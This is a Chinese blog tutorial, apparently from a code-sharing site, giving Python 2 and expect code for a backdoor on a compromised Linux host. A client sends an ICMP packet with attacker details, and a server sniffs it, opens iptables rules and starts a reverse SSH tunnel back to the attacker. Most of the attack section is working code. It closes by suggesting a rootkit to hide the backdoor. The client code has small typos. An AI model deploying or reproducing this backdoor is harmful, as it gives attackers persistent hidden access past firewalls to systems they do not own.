用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
详细介绍Python的鸭子类型
Sep 12 Python
Python实现按照指定要求逆序输出一个数字的方法
Apr 19 Python
python3通过selenium爬虫获取到dj商品的实例代码
Apr 25 Python
Python 实现输入任意多个数,并计算其平均值的例子
Jul 16 Python
pycharm 批量修改变量名称的方法
Aug 01 Python
Python 类的私有属性和私有方法实例分析
Sep 29 Python
使用Python实现正态分布、正态分布采样
Nov 20 Python
python飞机大战pygame游戏之敌机出场实现方法详解
Dec 17 Python
python轮询机制控制led实例
May 03 Python
解决python运行启动报错问题
Jun 01 Python
Keras搭建自编码器操作
Jul 03 Python
python两个list[]相加的实现方法
Sep 23 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
一个域名查询的程序
2006/10/09 PHP
PHP乱码问题,UTF-8乱码常见问题小结
2012/04/09 PHP
解析在PHP中使用全局变量的几种方法
2013/06/24 PHP
一个php短网址的生成代码(仿微博短网址)
2014/05/07 PHP
php使用pclzip类实现文件压缩的方法(附pclzip类下载地址)
2016/04/30 PHP
深入分析PHP优化及注意事项
2016/07/04 PHP
Laravel程序架构设计思路之使用动作类
2018/06/07 PHP
利用PHP内置SERVER开启web服务(本地开发使用)
2020/01/22 PHP
JavaScript 对象成员的可见性说明
2009/10/16 Javascript
firebug的一个有趣现象介绍
2011/11/30 Javascript
Bootstrap表单布局样式源代码
2016/07/04 Javascript
jquery实现界面无刷新加载登陆注册
2016/07/30 Javascript
学习 NodeJS 第八天:Socket 通讯实例
2016/12/21 NodeJs
javascript闭包功能与用法实例分析
2017/04/06 Javascript
JavaScript字符串检索字符的方法
2017/06/23 Javascript
react-native中ListView组件点击跳转的方法示例
2017/09/30 Javascript
AngularJS 表单验证手机号的实例(非必填)
2017/11/12 Javascript
webpack搭建vue 项目的步骤
2017/12/27 Javascript
vue.js 添加 fastclick的支持方法
2018/08/28 Javascript
JS数组转字符串实现方法解析
2020/09/04 Javascript
Python实现把数字转换成中文
2015/06/29 Python
11月编程语言排行榜 Python逆袭C#上升到第4
2017/11/15 Python
Python帮你识破双11的套路
2019/11/11 Python
pytorch实现从本地加载 .pth 格式模型
2020/02/14 Python
Python三维绘图之Matplotlib库的使用方法
2020/09/20 Python
CSS3田字格列表的样式编写方法
2018/11/22 HTML / CSS
微软香港官网及网上商店:Microsoft HK
2016/09/01 全球购物
专业实习自我鉴定
2013/10/29 职场文书
自荐书模板
2013/12/15 职场文书
大学自主招生自荐信
2013/12/16 职场文书
护士求职自荐信范文
2014/03/19 职场文书
任命书范本大全
2014/06/06 职场文书
远程教育学习心得体会
2016/01/23 职场文书
如何撰写创业策划书
2019/06/27 职场文书
Python turtle编写简单的球类小游戏
2022/03/31 Python
python数字图像处理之对比度与亮度调整示例
2022/06/28 Python